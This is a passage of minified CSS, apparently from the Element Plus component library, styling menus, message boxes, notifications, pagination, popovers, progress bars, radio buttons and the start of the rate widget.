.el-menu-item,.el-menu--vertical:not(.el-menu--collapse):not(.el-menu--popup-container) .el-menu-item-group__title,.el-menu--vertical:not(.el-menu--collapse):not(.el-menu--popup-container) .el-sub-menu__title{padding-left:calc(var(--el-menu-base-level-padding) + var(--el-menu-level)*var(--el-menu-level-padding));white-space:nowrap}.el-menu:not(.el-menu--collapse) .el-sub-menu__title{padding-right:calc(var(--el-menu-base-level-padding) + var(--el-menu-icon-width))}.el-menu--horizontal{border-right:none;display:flex;flex-wrap:nowrap;height:var(--el-menu-horizontal-height)}.el-menu--horizontal.el-menu--popup-container{height:unset}.el-menu--horizontal.el-menu{border-bottom:1px solid var(--el-menu-border-color)}.el-menu--horizontal>.el-menu-item{align-items:center;border-bottom:2px solid transparent;color:var(--el-menu-text-color);display:inline-flex;height:100%;justify-content:center;margin:0}.el-menu--horizontal>.el-menu-item a,.el-menu--horizontal>.el-menu-item a:hover{color:inherit}.el-menu--horizontal>.el-sub-menu:focus,.el-menu--horizontal>.el-sub-menu:hover{outline:none}.el-menu--horizontal>.el-sub-menu:hover .el-sub-menu__title{color:var(--el-menu-hover-text-color)}.el-menu--horizontal>.el-sub-menu.is-active .el-sub-menu__title{border-bottom:2px solid var(--el-menu-active-color);color:var(--el-menu-active-color)}.el-menu--horizontal>.el-sub-menu .el-sub-menu__title{border-bottom:2px solid transparent;color:var(--el-menu-text-color);height:100%}.el-menu--horizontal>.el-sub-menu .el-sub-menu__title:hover{background-color:var(--el-menu-bg-color)}.el-menu--horizontal .el-menu .el-menu-item,.el-menu--horizontal .el-menu .el-sub-menu__title{align-items:center;background-color:var(--el-menu-bg-color);color:var(--el-menu-text-color);display:flex;height:var(--el-menu-horizontal-sub-item-height);line-height:var(--el-menu-horizontal-sub-item-height);padding:0 10px}.el-menu--horizontal .el-menu .el-sub-menu__title{padding-right:40px}.el-menu--horizontal .el-menu .el-menu-item.is-active,.el-menu--horizontal .el-menu .el-sub-menu.is-active>.el-sub-menu__title{color:var(--el-menu-active-color)}.el-menu--horizontal .el-menu-item:not(.is-disabled):focus,.el-menu--horizontal .el-menu-item:not(.is-disabled):hover{background-color:var(--el-menu-hover-bg-color);color:var(--el-menu-hover-text-color);outline:none}.el-menu--horizontal>.el-menu-item.is-active{border-bottom:2px solid var(--el-menu-active-color);color:var(--el-menu-active-color)!important}.el-menu--collapse{width:calc(var(--el-menu-icon-width) + var(--el-menu-base-level-padding)*2)}.el-menu--collapse>.el-menu-item [class^=el-icon],.el-menu--collapse>.el-menu-item-group>ul>.el-sub-menu>.el-sub-menu__title [class^=el-icon],.el-menu--collapse>.el-sub-menu>.el-sub-menu__title [class^=el-icon]{margin:0;text-align:center;vertical-align:middle;width:var(--el-menu-icon-width)}.el-menu--collapse>.el-menu-item .el-sub-menu__icon-arrow,.el-menu--collapse>.el-menu-item-group>ul>.el-sub-menu>.el-sub-menu__title .el-sub-menu__icon-arrow,.el-menu--collapse>.el-sub-menu>.el-sub-menu__title .el-sub-menu__icon-arrow{display:none}.el-menu--collapse>.el-menu-item-group>ul>.el-sub-menu>.el-sub-menu__title>span,.el-menu--collapse>.el-menu-item>span,.el-menu--collapse>.el-sub-menu>.el-sub-menu__title>span{display:inline-block;height:0;overflow:hidden;visibility:hidden;width:0}.el-menu--collapse>.el-menu-item.is-active i{color:inherit}.el-menu--collapse .el-menu .el-sub-menu{min-width:200px}.el-menu--collapse .el-sub-menu.is-active .el-sub-menu__title{color:var(--el-menu-active-color)}.el-menu--popup{border:none;border-radius:var(--el-border-radius-small);box-shadow:var(--el-box-shadow-light);min-width:200px;padding:5px 0;z-index:100}.el-menu .el-icon{flex-shrink:0}.el-menu-item{align-items:center;box-sizing:border-box;color:var(--el-menu-text-color);cursor:pointer;display:flex;font-size:var(--el-menu-item-font-size);height:var(--el-menu-item-height);line-height:var(--el-menu-item-height);list-style:none;padding:0 var(--el-menu-base-level-padding);position:relative;transition:border-color var(--el-transition-duration),background-color var(--el-transition-duration),color var(--el-transition-duration);white-space:nowrap}.el-menu-item *{vertical-align:bottom}.el-menu-item i{color:inherit}.el-menu-item:focus,.el-menu-item:hover{outline:none}.el-menu-item:hover{background-color:var(--el-menu-hover-bg-color)}.el-menu-item.is-disabled{background:none!important;cursor:not-allowed;opacity:.25}.el-menu-item [class^=el-icon]{font-size:18px;margin-right:5px;text-align:center;vertical-align:middle;width:var(--el-menu-icon-width)}.el-menu-item.is-active{color:var(--el-menu-active-color)}.el-menu-item.is-active i{color:inherit}.el-menu-item .el-menu-tooltip__trigger{align-items:center;box-sizing:border-box;display:inline-flex;height:100%;left:0;padding:0 var(--el-menu-base-level-padding);position:absolute;top:0;width:100%}.el-sub-menu{list-style:none;margin:0;padding-left:0}.el-sub-menu__title{align-items:center;box-sizing:border-box;color:var(--el-menu-text-color);cursor:pointer;display:flex;font-size:var(--el-menu-item-font-size);height:var(--el-menu-item-height);line-height:var(--el-menu-item-height);list-style:none;padding:0 var(--el-menu-base-level-padding);position:relative;transition:border-color var(--el-transition-duration),background-color var(--el-transition-duration),color var(--el-transition-duration);white-space:nowrap}.el-sub-menu__title *{vertical-align:bottom}.el-sub-menu__title i{color:inherit}.el-sub-menu__title:focus,.el-sub-menu__title:hover{outline:none}.el-sub-menu__title.is-disabled{background:none!important;cursor:not-allowed;opacity:.25}.el-sub-menu__title:hover{background-color:var(--el-menu-hover-bg-color)}.el-sub-menu .el-menu{border:none}.el-sub-menu .el-menu-item{height:var(--el-menu-sub-item-height);line-height:var(--el-menu-sub-item-height)}.el-sub-menu__hide-arrow .el-sub-menu__icon-arrow{display:none!important}.el-sub-menu.is-active .el-sub-menu__title{border-bottom-color:var(--el-menu-active-color)}.el-sub-menu.is-disabled .el-menu-item,.el-sub-menu.is-disabled .el-sub-menu__title{background:none!important;cursor:not-allowed;opacity:.25}.el-sub-menu .el-icon{font-size:18px;margin-right:5px;text-align:center;vertical-align:middle;width:var(--el-menu-icon-width)}.el-sub-menu .el-icon.el-sub-menu__icon-more{margin-right:0!important}.el-sub-menu .el-sub-menu__icon-arrow{font-size:12px;margin-right:0;margin-top:-6px;position:absolute;right:var(--el-menu-base-level-padding);top:50%;transition:transform var(--el-transition-duration);width:inherit}.el-menu-item-group>ul{padding:0}.el-menu-item-group__title{color:var(--el-text-color-secondary);font-size:12px;line-height:normal;padding:7px 0 7px var(--el-menu-base-level-padding)}.horizontal-collapse-transition .el-sub-menu__title .el-sub-menu__icon-arrow{opacity:0;transition:var(--el-transition-duration-fast)}.el-message-box{--el-messagebox-title-color:var(--el-text-color-primary);--el-messagebox-width:420px;--el-messagebox-border-radius:4px;--el-messagebox-box-shadow:var(--el-box-shadow);--el-messagebox-font-size:var(--el-font-size-large);--el-messagebox-content-font-size:var(--el-font-size-base);--el-messagebox-content-color:var(--el-text-color-regular);--el-messagebox-error-font-size:12px;--el-messagebox-padding-primary:12px;--el-messagebox-font-line-height:var(--el-font-line-height-primary);-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:var(--el-bg-color);border-radius:var(--el-messagebox-border-radius);box-shadow:var(--el-messagebox-box-shadow);box-sizing:border-box;display:inline-block;font-size:var(--el-messagebox-font-size);max-width:var(--el-messagebox-width);overflow:hidden;overflow-wrap:break-word;padding:var(--el-messagebox-padding-primary);position:relative;text-align:left;vertical-align:middle;width:100%}.el-message-box:focus{outline:none!important}.el-overlay.is-message-box .el-overlay-message-box{bottom:0;left:0;overflow:auto;padding:16px;position:fixed;right:0;text-align:center;top:0}.el-overlay.is-message-box .el-overlay-message-box:after{content:"";display:inline-block;height:100%;vertical-align:middle;width:0}.el-message-box.is-draggable .el-message-box__header{cursor:move;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-message-box__header{padding-bottom:var(--el-messagebox-padding-primary)}.el-message-box__header.show-close{padding-right:calc(var(--el-messagebox-padding-primary) + var(--el-message-close-size, 16px))}.el-message-box__title{color:var(--el-messagebox-title-color);font-size:var(--el-messagebox-font-size);line-height:var(--el-messagebox-font-line-height)}.el-message-box__headerbtn{background:transparent;border:none;cursor:pointer;font-size:var(--el-message-close-size,16px);height:40px;outline:none;padding:0;position:absolute;right:0;top:0;width:40px}.el-message-box__headerbtn .el-message-box__close{color:var(--el-color-info);font-size:inherit}.el-message-box__headerbtn:focus .el-message-box__close,.el-message-box__headerbtn:hover .el-message-box__close{color:var(--el-color-primary)}.el-message-box__content{color:var(--el-messagebox-content-color);font-size:var(--el-messagebox-content-font-size)}.el-message-box__container{align-items:center;display:flex;gap:12px}.el-message-box__input{padding-top:12px}.el-message-box__input div.invalid>input{border-color:var(--el-color-error)}.el-message-box__input div.invalid>input:focus{border-color:var(--el-color-error)}.el-message-box__status{font-size:24px}.el-message-box__status.el-message-box-icon--success{--el-messagebox-color:var(--el-color-success);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--info{--el-messagebox-color:var(--el-color-info);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--warning{--el-messagebox-color:var(--el-color-warning);color:var(--el-messagebox-color)}.el-message-box__status.el-message-box-icon--error{--el-messagebox-color:var(--el-color-error);color:var(--el-messagebox-color)}.el-message-box__message{margin:0}.el-message-box__message p{line-height:var(--el-messagebox-font-line-height);margin:0}.el-message-box__errormsg{color:var(--el-color-error);font-size:var(--el-messagebox-error-font-size);line-height:var(--el-messagebox-font-line-height)}.el-message-box__btns{align-items:center;display:flex;flex-wrap:wrap;justify-content:flex-end;padding-top:var(--el-messagebox-padding-primary)}.el-message-box--center .el-message-box__title{align-items:center;display:flex;gap:6px;justify-content:center}.el-message-box--center .el-message-box__status{font-size:inherit}.el-message-box--center .el-message-box__btns,.el-message-box--center .el-message-box__container{justify-content:center}.fade-in-linear-enter-active .el-overlay-message-box{-webkit-animation:msgbox-fade-in var(--el-transition-duration);animation:msgbox-fade-in var(--el-transition-duration)}.fade-in-linear-leave-active .el-overlay-message-box{animation:msgbox-fade-in var(--el-transition-duration) reverse}@-webkit-keyframes msgbox-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}@keyframes msgbox-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}.el-notification{--el-notification-width:330px;--el-notification-padding:14px 26px 14px 13px;--el-notification-radius:8px;--el-notification-shadow:var(--el-box-shadow-light);--el-notification-border-color:var(--el-border-color-lighter);--el-notification-icon-size:24px;--el-notification-close-font-size:var(--el-message-close-size,16px);--el-notification-group-margin-left:13px;--el-notification-group-margin-right:8px;--el-notification-content-font-size:var(--el-font-size-base);--el-notification-content-color:var(--el-text-color-regular);--el-notification-title-font-size:16px;--el-notification-title-color:var(--el-text-color-primary);--el-notification-close-color:var(--el-text-color-secondary);--el-notification-close-hover-color:var(--el-text-color-regular);background-color:var(--el-bg-color-overlay);border:1px solid var(--el-notification-border-color);border-radius:var(--el-notification-radius);box-shadow:var(--el-notification-shadow);box-sizing:border-box;display:flex;overflow:hidden;overflow-wrap:break-word;padding:var(--el-notification-padding);position:fixed;transition:opacity var(--el-transition-duration),transform var(--el-transition-duration),left var(--el-transition-duration),right var(--el-transition-duration),top .4s,bottom var(--el-transition-duration);width:var(--el-notification-width);z-index:9999}.el-notification.right{right:16px}.el-notification.left{left:16px}.el-notification__group{margin-left:var(--el-notification-group-margin-left);margin-right:var(--el-notification-group-margin-right)}.el-notification__title{color:var(--el-notification-title-color);font-size:var(--el-notification-title-font-size);font-weight:700;line-height:var(--el-notification-icon-size);margin:0}.el-notification__content{color:var(--el-notification-content-color);font-size:var(--el-notification-content-font-size);line-height:24px;margin:6px 0 0}.el-notification__content p{margin:0}.el-notification .el-notification__icon{font-size:var(--el-notification-icon-size);height:var(--el-notification-icon-size);width:var(--el-notification-icon-size)}.el-notification .el-notification__closeBtn{color:var(--el-notification-close-color);cursor:pointer;font-size:var(--el-notification-close-font-size);position:absolute;right:15px;top:18px}.el-notification .el-notification__closeBtn:hover{color:var(--el-notification-close-hover-color)}.el-notification .el-notification--success{--el-notification-icon-color:var(--el-color-success);color:var(--el-notification-icon-color)}.el-notification .el-notification--info{--el-notification-icon-color:var(--el-color-info);color:var(--el-notification-icon-color)}.el-notification .el-notification--warning{--el-notification-icon-color:var(--el-color-warning);color:var(--el-notification-icon-color)}.el-notification .el-notification--error{--el-notification-icon-color:var(--el-color-error);color:var(--el-notification-icon-color)}.el-notification-fade-enter-from.right{right:0;transform:translate(100%)}.el-notification-fade-enter-from.left{left:0;transform:translate(-100%)}.el-notification-fade-leave-to{opacity:0}.el-overlay{background-color:var(--el-overlay-color-lighter);bottom:0;height:100%;left:0;overflow:auto;position:fixed;right:0;top:0;z-index:2000}.el-overlay .el-overlay-root{height:0}.el-page-header.is-contentful .el-page-header__main{border-top:1px solid var(--el-border-color-light);margin-top:16px}.el-page-header__header{align-items:center;display:flex;justify-content:space-between;line-height:24px}.el-page-header__left{align-items:center;display:flex;margin-right:40px;position:relative}.el-page-header__back{align-items:center;cursor:pointer;display:flex}.el-page-header__left .el-divider--vertical{margin:0 16px}.el-page-header__icon{align-items:center;display:flex;font-size:16px;margin-right:10px}.el-page-header__icon .el-icon{font-size:inherit}.el-page-header__title{font-size:14px;font-weight:500}.el-page-header__content{color:var(--el-text-color-primary);font-size:18px}.el-page-header__breadcrumb{margin-bottom:16px}.el-pagination{--el-pagination-font-size:14px;--el-pagination-bg-color:var(--el-fill-color-blank);--el-pagination-text-color:var(--el-text-color-primary);--el-pagination-border-radius:2px;--el-pagination-button-color:var(--el-text-color-primary);--el-pagination-button-width:32px;--el-pagination-button-height:32px;--el-pagination-button-disabled-color:var(--el-text-color-placeholder);--el-pagination-button-disabled-bg-color:var(--el-fill-color-blank);--el-pagination-button-bg-color:var(--el-fill-color);--el-pagination-hover-color:var(--el-color-primary);--el-pagination-font-size-small:12px;--el-pagination-button-width-small:24px;--el-pagination-button-height-small:24px;--el-pagination-item-gap:16px;align-items:center;color:var(--el-pagination-text-color);display:flex;font-size:var(--el-pagination-font-size);font-weight:400;white-space:nowrap}.el-pagination .el-input__inner{-moz-appearance:textfield;text-align:center}.el-pagination .el-select{width:128px}.el-pagination button{align-items:center;background:var(--el-pagination-bg-color);border:none;border-radius:var(--el-pagination-border-radius);box-sizing:border-box;color:var(--el-pagination-button-color);cursor:pointer;display:flex;font-size:var(--el-pagination-font-size);height:var(--el-pagination-button-height);justify-content:center;line-height:var(--el-pagination-button-height);min-width:var(--el-pagination-button-width);padding:0 4px;text-align:center}.el-pagination button *{pointer-events:none}.el-pagination button:focus{outline:none}.el-pagination button:hover{color:var(--el-pagination-hover-color)}.el-pagination button.is-active{color:var(--el-pagination-hover-color);cursor:default;font-weight:700}.el-pagination button.is-active.is-disabled{color:var(--el-text-color-secondary);font-weight:700}.el-pagination button.is-disabled,.el-pagination button:disabled{background-color:var(--el-pagination-button-disabled-bg-color);color:var(--el-pagination-button-disabled-color);cursor:not-allowed}.el-pagination button:focus-visible{outline:1px solid var(--el-pagination-hover-color);outline-offset:-1px}.el-pagination .btn-next .el-icon,.el-pagination .btn-prev .el-icon{display:block;font-size:12px;font-weight:700;width:inherit}.el-pagination>.is-first{margin-left:0!important}.el-pagination>.is-last{margin-right:0!important}.el-pagination .btn-prev{margin-left:var(--el-pagination-item-gap)}.el-pagination__sizes,.el-pagination__total{color:var(--el-text-color-regular);font-weight:400;margin-left:var(--el-pagination-item-gap)}.el-pagination__total[disabled=true]{color:var(--el-text-color-placeholder)}.el-pagination__jump{align-items:center;color:var(--el-text-color-regular);display:flex;font-weight:400;margin-left:var(--el-pagination-item-gap)}.el-pagination__jump[disabled=true]{color:var(--el-text-color-placeholder)}.el-pagination__goto{margin-right:8px}.el-pagination__editor{box-sizing:border-box;text-align:center}.el-pagination__editor.el-input{width:56px}.el-pagination__editor .el-input__inner::-webkit-inner-spin-button,.el-pagination__editor .el-input__inner::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.el-pagination__classifier{margin-left:8px}.el-pagination__rightwrapper{align-items:center;display:flex;flex:1;justify-content:flex-end}.el-pagination.is-background .btn-next,.el-pagination.is-background .btn-prev,.el-pagination.is-background .el-pager li{background-color:var(--el-pagination-button-bg-color);margin:0 4px}.el-pagination.is-background .btn-next.is-active,.el-pagination.is-background .btn-prev.is-active,.el-pagination.is-background .el-pager li.is-active{background-color:var(--el-color-primary);color:var(--el-color-white)}.el-pagination.is-background .btn-next.is-disabled,.el-pagination.is-background .btn-next:disabled,.el-pagination.is-background .btn-prev.is-disabled,.el-pagination.is-background .btn-prev:disabled,.el-pagination.is-background .el-pager li.is-disabled,.el-pagination.is-background .el-pager li:disabled{background-color:var(--el-disabled-bg-color);color:var(--el-text-color-placeholder)}.el-pagination.is-background .btn-next.is-disabled.is-active,.el-pagination.is-background .btn-next:disabled.is-active,.el-pagination.is-background .btn-prev.is-disabled.is-active,.el-pagination.is-background .btn-prev:disabled.is-active,.el-pagination.is-background .el-pager li.is-disabled.is-active,.el-pagination.is-background .el-pager li:disabled.is-active{background-color:var(--el-fill-color-dark);color:var(--el-text-color-secondary)}.el-pagination.is-background .btn-prev{margin-left:var(--el-pagination-item-gap)}.el-pagination--small .btn-next,.el-pagination--small .btn-prev,.el-pagination--small .el-pager li{font-size:var(--el-pagination-font-size-small);height:var(--el-pagination-button-height-small);line-height:var(--el-pagination-button-height-small);min-width:var(--el-pagination-button-width-small)}.el-pagination--small button,.el-pagination--small span:not([class*=suffix]){font-size:var(--el-pagination-font-size-small)}.el-pagination--small .el-select{width:100px}.el-pager{font-size:0;list-style:none;margin:0;padding:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-pager,.el-pager li{align-items:center;display:flex}.el-pager li{background:var(--el-pagination-bg-color);border:none;border-radius:var(--el-pagination-border-radius);box-sizing:border-box;color:var(--el-pagination-button-color);cursor:pointer;font-size:var(--el-pagination-font-size);height:var(--el-pagination-button-height);justify-content:center;line-height:var(--el-pagination-button-height);min-width:var(--el-pagination-button-width);padding:0 4px;text-align:center}.el-pager li *{pointer-events:none}.el-pager li:focus{outline:none}.el-pager li:hover{color:var(--el-pagination-hover-color)}.el-pager li.is-active{color:var(--el-pagination-hover-color);cursor:default;font-weight:700}.el-pager li.is-active.is-disabled{color:var(--el-text-color-secondary);font-weight:700}.el-pager li.is-disabled,.el-pager li:disabled{background-color:var(--el-pagination-button-disabled-bg-color);color:var(--el-pagination-button-disabled-color);cursor:not-allowed}.el-pager li:focus-visible{outline:1px solid var(--el-pagination-hover-color);outline-offset:-1px}.el-popconfirm__main{align-items:center;display:flex}.el-popconfirm__icon{margin-right:5px}.el-popconfirm__action{margin-top:8px;text-align:right}.el-popover{--el-popover-bg-color:var(--el-bg-color-overlay);--el-popover-font-size:var(--el-font-size-base);--el-popover-border-color:var(--el-border-color-lighter);--el-popover-padding:12px;--el-popover-padding-large:18px 20px;--el-popover-title-font-size:16px;--el-popover-title-text-color:var(--el-text-color-primary);--el-popover-border-radius:4px}.el-popover.el-popper{background:var(--el-popover-bg-color);border:1px solid var(--el-popover-border-color);border-radius:var(--el-popover-border-radius);box-shadow:var(--el-box-shadow-light);box-sizing:border-box;color:var(--el-text-color-regular);font-size:var(--el-popover-font-size);line-height:1.4;min-width:150px;overflow-wrap:break-word;padding:var(--el-popover-padding);z-index:var(--el-index-popper)}.el-popover.el-popper--plain{padding:var(--el-popover-padding-large)}.el-popover__title{color:var(--el-popover-title-text-color);font-size:var(--el-popover-title-font-size);line-height:1;margin-bottom:12px}.el-popover__reference:focus:hover,.el-popover__reference:focus:not(.focusing){outline-width:0}.el-popover.el-popper.is-dark{--el-popover-bg-color:var(--el-text-color-primary);--el-popover-border-color:var(--el-text-color-primary);--el-popover-title-text-color:var(--el-bg-color);color:var(--el-bg-color)}.el-popover.el-popper:focus,.el-popover.el-popper:focus:active{outline-width:0}.el-progress{align-items:center;display:flex;line-height:1;position:relative}.el-progress__text{color:var(--el-text-color-regular);font-size:14px;line-height:1;margin-left:5px;min-width:50px}.el-progress__text i{display:block;vertical-align:middle}.el-progress--circle,.el-progress--dashboard{display:inline-block}.el-progress--circle .el-progress__text,.el-progress--dashboard .el-progress__text{left:0;margin:0;position:absolute;text-align:center;top:50%;transform:translateY(-50%);width:100%}.el-progress--circle .el-progress__text i,.el-progress--dashboard .el-progress__text i{display:inline-block;vertical-align:middle}.el-progress--without-text .el-progress__text{display:none}.el-progress--without-text .el-progress-bar{display:block;margin-right:0;padding-right:0}.el-progress--text-inside .el-progress-bar{margin-right:0;padding-right:0}.el-progress.is-success .el-progress-bar__inner{background-color:var(--el-color-success)}.el-progress.is-success .el-progress__text{color:var(--el-color-success)}.el-progress.is-warning .el-progress-bar__inner{background-color:var(--el-color-warning)}.el-progress.is-warning .el-progress__text{color:var(--el-color-warning)}.el-progress.is-exception .el-progress-bar__inner{background-color:var(--el-color-danger)}.el-progress.is-exception .el-progress__text{color:var(--el-color-danger)}.el-progress-bar{box-sizing:border-box;flex-grow:1}.el-progress-bar__outer{background-color:var(--el-border-color-lighter);border-radius:100px;height:6px;overflow:hidden;position:relative;vertical-align:middle}.el-progress-bar__inner{background-color:var(--el-color-primary);border-radius:100px;height:100%;left:0;line-height:1;position:absolute;text-align:right;top:0;transition:width .6s ease;white-space:nowrap}.el-progress-bar__inner:after{content:"";display:inline-block;height:100%;vertical-align:middle}.el-progress-bar__inner--indeterminate{-webkit-animation:indeterminate 3s infinite;animation:indeterminate 3s infinite;transform:translateZ(0)}.el-progress-bar__inner--striped{background-image:linear-gradient(45deg,rgba(0,0,0,.1) 25%,transparent 0,transparent 50%,rgba(0,0,0,.1) 0,rgba(0,0,0,.1) 75%,transparent 0,transparent);background-size:1.25em 1.25em}.el-progress-bar__inner--striped.el-progress-bar__inner--striped-flow{-webkit-animation:striped-flow 3s linear infinite;animation:striped-flow 3s linear infinite}.el-progress-bar__innerText{color:#fff;display:inline-block;font-size:12px;margin:0 5px;vertical-align:middle}@-webkit-keyframes progress{0%{background-position:0 0}to{background-position:32px 0}}@keyframes progress{0%{background-position:0 0}to{background-position:32px 0}}@-webkit-keyframes indeterminate{0%{left:-100%}to{left:100%}}@keyframes indeterminate{0%{left:-100%}to{left:100%}}@-webkit-keyframes striped-flow{0%{background-position:-100%}to{background-position:100%}}@keyframes striped-flow{0%{background-position:-100%}to{background-position:100%}}.el-radio-button{--el-radio-button-checked-bg-color:var(--el-color-primary);--el-radio-button-checked-text-color:var(--el-color-white);--el-radio-button-checked-border-color:var(--el-color-primary);--el-radio-button-disabled-checked-fill:var(--el-border-color-extra-light)}.el-radio-button,.el-radio-button__inner{display:inline-block;outline:none;position:relative}.el-radio-button__inner{-webkit-appearance:none;background:var(--el-button-bg-color,var(--el-fill-color-blank));border:var(--el-border);border-left:0;border-radius:0;box-sizing:border-box;color:var(--el-button-text-color,var(--el-text-color-regular));cursor:pointer;font-size:var(--el-font-size-base);font-weight:var(--el-button-font-weight,var(--el-font-weight-primary));line-height:1;margin:0;padding:8px 15px;text-align:center;transition:var(--el-transition-all);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;white-space:nowrap}.el-radio-button__inner.is-round{padding:8px 15px}.el-radio-button__inner:hover{color:var(--el-color-primary)}.el-radio-button__inner [class*=el-icon-]{line-height:.9}.el-radio-button__inner [class*=el-icon-]+span{margin-left:5px}.el-radio-button:first-child .el-radio-button__inner{border-left:var(--el-border);border-radius:var(--el-border-radius-base) 0 0 var(--el-border-radius-base);box-shadow:none!important}.el-radio-button__original-radio{opacity:0;outline:none;position:absolute;z-index:-1}.el-radio-button__original-radio:checked+.el-radio-button__inner{background-color:var(--el-radio-button-checked-bg-color,var(--el-color-primary));border-color:var(--el-radio-button-checked-border-color,var(--el-color-primary));box-shadow:-1px 0 0 0 var(--el-radio-button-checked-border-color,var(--el-color-primary));color:var(--el-radio-button-checked-text-color,var(--el-color-white))}.el-radio-button__original-radio:focus-visible+.el-radio-button__inner{border-left:var(--el-border);border-left-color:var(--el-radio-button-checked-border-color,var(--el-color-primary));border-radius:var(--el-border-radius-base);box-shadow:none;outline:2px solid var(--el-radio-button-checked-border-color);outline-offset:1px;z-index:2}.el-radio-button__original-radio:disabled+.el-radio-button__inner{background-color:var(--el-button-disabled-bg-color,var(--el-fill-color-blank));background-image:none;border-color:var(--el-button-disabled-border-color,var(--el-border-color-light));box-shadow:none;color:var(--el-disabled-text-color);cursor:not-allowed}.el-radio-button__original-radio:disabled:checked+.el-radio-button__inner{background-color:var(--el-radio-button-disabled-checked-fill)}.el-radio-button:last-child .el-radio-button__inner{border-radius:0 var(--el-border-radius-base) var(--el-border-radius-base) 0}.el-radio-button:first-child:last-child .el-radio-button__inner{border-radius:var(--el-border-radius-base)}.el-radio-button--large .el-radio-button__inner{border-radius:0;font-size:var(--el-font-size-base);padding:12px 19px}.el-radio-button--large .el-radio-button__inner.is-round{padding:12px 19px}.el-radio-button--small .el-radio-button__inner{border-radius:0;font-size:12px;padding:5px 11px}.el-radio-button--small .el-radio-button__inner.is-round{padding:5px 11px}.el-radio-group{align-items:center;display:inline-flex;flex-wrap:wrap;font-size:0}.el-radio{--el-radio-font-size:var(--el-font-size-base);--el-radio-text-color:var(--el-text-color-regular);--el-radio-font-weight:var(--el-font-weight-primary);--el-radio-input-height:14px;--el-radio-input-width:14px;--el-radio-input-border-radius:var(--el-border-radius-circle);--el-radio-input-bg-color:var(--el-fill-color-blank);--el-radio-input-border:var(--el-border);--el-radio-input-border-color:var(--el-border-color);--el-radio-input-border-color-hover:var(--el-color-primary);align-items:center;color:var(--el-radio-text-color);cursor:pointer;display:inline-flex;font-size:var(--el-font-size-base);font-weight:var(--el-radio-font-weight);height:32px;margin-right:32px;outline:none;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.el-radio.el-radio--large{height:40px}.el-radio.el-radio--small{height:24px}.el-radio.is-bordered{border:var(--el-border);border-radius:var(--el-border-radius-base);box-sizing:border-box;padding:0 15px 0 9px}.el-radio.is-bordered.is-checked{border-color:var(--el-color-primary)}.el-radio.is-bordered.is-disabled{border-color:var(--el-border-color-lighter);cursor:not-allowed}.el-radio.is-bordered.el-radio--large{border-radius:var(--el-border-radius-base);padding:0 19px 0 11px}.el-radio.is-bordered.el-radio--large .el-radio__label{font-size:var(--el-font-size-base)}.el-radio.is-bordered.el-radio--large .el-radio__inner{height:14px;width:14px}.el-radio.is-bordered.el-radio--small{border-radius:var(--el-border-radius-base);padding:0 11px 0 7px}.el-radio.is-bordered.el-radio--small .el-radio__label{font-size:12px}.el-radio.is-bordered.el-radio--small .el-radio__inner{height:12px;width:12px}.el-radio:last-child{margin-right:0}.el-radio__input{cursor:pointer;display:inline-flex;outline:none;position:relative;vertical-align:middle;white-space:nowrap}.el-radio__input.is-disabled .el-radio__inner{background-color:var(--el-disabled-bg-color);border-color:var(--el-disabled-border-color);cursor:not-allowed}.el-radio__input.is-disabled .el-radio__inner:after{background-color:var(--el-disabled-bg-color);cursor:not-allowed}.el-radio__input.is-disabled .el-radio__inner+.el-radio__label{cursor:not-allowed}.el-radio__input.is-disabled.is-checked .el-radio__inner{background-color:var(--el-disabled-bg-color);border-color:var(--el-disabled-border-color)}.el-radio__input.is-disabled.is-checked .el-radio__inner:after{background-color:var(--el-text-color-placeholder)}.el-radio__input.is-disabled+span.el-radio__label{color:var(--el-text-color-placeholder);cursor:not-allowed}.el-radio__input.is-checked .el-radio__inner{background:var(--el-color-primary);border-color:var(--el-color-primary)}.el-radio__input.is-checked .el-radio__inner:after{transform:translate(-50%,-50%) scale(1)}.el-radio__input.is-checked+.el-radio__label{color:var(--el-color-primary)}.el-radio__input.is-focus .el-radio__inner{border-color:var(--el-radio-input-border-color-hover)}.el-radio__inner{background-color:var(--el-radio-input-bg-color);border:var(--el-radio-input-border);border-radius:var(--el-radio-input-border-radius);box-sizing:border-box;cursor:pointer;display:inline-block;height:var(--el-radio-input-height);position:relative;width:var(--el-radio-input-width)}.el-radio__inner:hover{border-color:var(--el-radio-input-border-color-hover)}.el-radio__inner:after{background-color:var(--el-color-white);border-radius:var(--el-radio-input-border-radius);content:"";height:4px;left:50%;position:absolute;top:50%;transform:translate(-50%,-50%) scale(0);transition:transform .15s ease-in;width:4px}.el-radio__original{bottom:0;left:0;margin:0;opacity:0;outline:none;position:absolute;right:0;top:0;z-index:-1}.el-radio__original:focus-visible+.el-radio__inner{border-radius:var(--el-radio-input-border-radius);outline:2px solid var(--el-radio-input-border-color-hover);outline-offset:1px}.el-radio:focus:not(:focus-visible):not(.is-focus):not(:active):not(.is-disabled) .el-radio__inner{box-shadow:0 0 2px 2px var(--el-radio-input-border-color-hover)}.el-radio__label{font-size:var(--el-radio-font-size);padding-left:8px}.el-radio.el-radio--large .el-radio__label{font-size:14px}.el-radio.el-radio--large .el-radio__inner{height:14px;width:14px}.el-radio.el-radio--small .el-radio__label{font-size:12px}.el-radio.el-radio--small .el-radio__inner{height:12px;width:12px}.el-rate{--el-rate-height:20px;--el-rate-font-size:var(--el-font-size-base);--el-rate-icon-size:18px;--el-rate-icon-margin:6px;--el-rate-void-color:var(--el-border-color-darker);--el-rate-fill-color:#f7ba2a;--el-rate-disabled-void-color:var(--el-fill-color);--el-rate-text-color:var(--el-text-color-primary);align-items:center;display:inline-flex;height:32px}.el-rate:active,.el-rate:focus{outline:none}.el-rate__item{color:var(--el-rate-void-color);cursor:pointer;display:inline-block;font-size:0;line-height:normal;position:relative;vertical-align:middle}.el-rate .el-rate__icon{display:inline-block;font-size:var(--el-rate-icon-size);margin-right:var(--el-rate-icon-margin);position:relative;transition:var(--el-transition-duration)}.el-rate 